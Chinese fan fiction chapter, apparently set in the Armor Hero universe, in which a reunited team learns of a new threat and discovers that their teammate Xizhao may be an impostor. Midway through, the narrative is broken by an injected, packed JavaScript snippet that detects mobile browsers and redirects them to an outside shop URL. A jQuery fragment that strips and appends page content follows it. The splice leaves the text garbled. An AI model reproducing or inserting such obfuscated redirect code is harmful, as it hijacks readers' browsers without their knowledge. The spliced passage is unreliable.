————————
“击败你的不是异能量,是人心。”
————————
D市,ERP指挥室内。
美真双手交握撑在桌沿,不安地盯着监控屏幕上闪烁的异能量红点,神色严肃而专注,连身后的通道门打开也没有注意到。东杉和炘南谈笑间走进指挥室,聊着炘南这段时间在国外参加世界钢琴比赛的事情。东杉一边跟炘南搭话,一边将咖啡杯放在美真身旁,顺便抿了一口自己手里的。
就在炘南问出“这么着急找我回来是怎么了”,而东杉转身准备向炘南解释什么时,美真像是被什么吓到似的猛地朝东杉转过身,速度之快以至于将那杯冰咖啡掀翻在桌。东杉眼疾手快地拉起美真的手,避免沾上咖啡渍,美真的视线却迅速在东杉与炘南之间交替片刻,认真地说:“东杉、炘南,事情比我们想的还要严重。”
听闻此言,炘南压下嘴角见到故友的笑意:“出什么事了?”
“美真让我联系你,是因为之前的‘漏网之鱼’又出现了。”东杉单膝下蹲收拾台面,眉头微皱,手撑桌面站起身的同时又是一声长叹,“你应该没有忘记,其实还有一只异能兽我们没能封印。即使宇宙黑暗力量已经被消灭,它也仍旧是个威胁。”
“所以,我和东杉在你们散伙之后就一直在寻找有关于它的蛛丝马迹。”美真点点头,将椅子转回监控面板前,在几声键盘的敲几下,伴随美真的讲解,屏幕显示出密密麻麻的多处红色记号,“最近我们检测到了异能量反应,但是这种能量源非常奇怪,它并不是纯粹的异能量,而是……”美真敲击键盘的手指略有停顿,抿了抿唇斟酌措辞后缓缓道,“红外和磁场监测显示,他们的生命反应是人类。”
“什么?”炘南和东杉异口同声,东杉紧接着问道,“异能量的确可以影响人类,界王当时就与异能兽结合,变得更加强大,我们四人合力才击败他。但……这数量未免也太多了。如果我没记错,仅存的异能兽只有一个,它不强,不可能造成这么大范围的异能量反应。”
“对。也就是说,现在出现了新的威胁,而我们对敌人一无所知。”美真点点头,转身看向舱室内闪烁着温和微光的光影石,忽然想起什么,低低“诶”了一声,“其他三个人呢?坤中放暑假了吧,还有北淼和西钊。东杉,你有联系到他们吗?”
“哦,坤中今早下的飞机,应该在赶过来的路上了。至于西钊和北淼……”东杉拿出手机看了看,似乎想掩饰后半句话即将出口的尴尬,“理论上说,他们的情况比较复杂,但和当下的危机比起来……这个……”
看来是东杉的“闷葫芦”性子又发作了。美真不满地站起身,凑上前就抽走了东杉的手机:“到底怎么了?还有什么事情比拯救世界更重要?”只见东杉的手机屏幕上是一条来自北淼的短信,信息一如既往地简洁明了、又似乎充盈着些许火药味:
西钊的事别问我,与我无关。
北淼
同时,指挥室的门也随之打开。迎面而来的是坤中和西钊,坤中的手绕过西钊身后搭在他肩膀,安慰似的拍了拍,用他那熟悉的乐天派语气说道:“好啦,西钊,没事的,不就是分手了嘛,大家都还是朋友、都还是兄弟。你也知道北淼的性格,说不定过段时间就会发现自己做得不对,过来找你和好了。”
西钊身前背着一个黑色的小斜挎包,里面似乎装着什么,仔细看会发现有些沉,体积也不小,但现在的情况几乎没人注意到它。所有人的注意力都在坤中那番话和西钊身上,西钊黑色眸子里透出的灰暗与淡然让人很难不相信这是一个刚刚失去一段亲密关系的可怜人。尽管与平日里的西钊有很多违和之感,但并未引起任何人的怀疑——是啊,为什么要怀疑?
“分、分手?”美真再次低头看向那条“与我无关”的短信,满脸写着难以置信。距离他们知道西钊和北淼确认关系也才过了两年,怎么忽然就分手了?而且中间也没听说他们闹过什么矛盾,什么穿越到别的世界的奇闻倒是听过不少。美真张了张嘴,想多了解一些情况,但余
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334700|199228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光里的异能量反应记录让她最终还是没问出口:现在不是说这些的时候。
所幸,炘南更早地意识到当下问题的重心所在,他从短暂的惊讶里回神,朝西钊微微颔首:“关于这件事,我很遗憾。不过美真检测到了新的威胁,可能需要我们光影铠甲出面解决,你和北淼——”
令人意外的是,西钊难得地打断了对方的话:“没关系,孰轻孰重我心里有数。比起‘儿女私情’,目前更应该关注世界性的危机,对吗?”
“嗯,你能这么想,我很高兴。”
炘南正要把话茬交给美真,只听指挥室门外传来一阵沉闷的撞击声。除了西钊仍站在原地,其他几人纷纷朝门口聚集过去。这时,舱门忽然打开,北淼左手捂着右臂,身体紧贴通道,黑色的皮夹克看不出端倪,却见他身后拖着一条长长的血痕,在苍白的墙体上很是刺眼。
北淼也不顾众人的惊叹与担忧,伸出左手拍开其他人的搀扶,急于传达比自己身负重伤更为重要的事情:“让开!都听我说!西钊那家伙、他已经——”
北淼的声音在他抬眼与众人身后“那个人”对视的瞬间戛然而止。他听不见耳边关切的问询和质疑,眼里只有那个熟悉的、背着斜挎包、眼中满是“平淡的绝望感”的家伙。
“这不可能……”北淼喃喃道。所有人的视线都在他身上,没有人像他一样注意到那个置身事外的人移开视线,缓缓抬起手,用食指指节接住不知从何处出现、一点点落下的黑金色羽蝶。
黑蝶舒展羽翼时,“西钊”垂下的眼眸转而与北淼对视,嘴角微扬、在脸颊上压出酒窝,露出难以察觉的、意味深长的微笑。刹那间,北淼只觉得有什么冻结了他全身的血液,令他僵直在原地、行动不能。
这家伙、这家伙是……
或许是失血过多,北淼的视线开始变得模糊不清。他最后的记忆,不是为他处理伤口、忙里忙外的众人,而是“西钊”开合唇瓣,无声地对他说:
“好久不见。”
TBC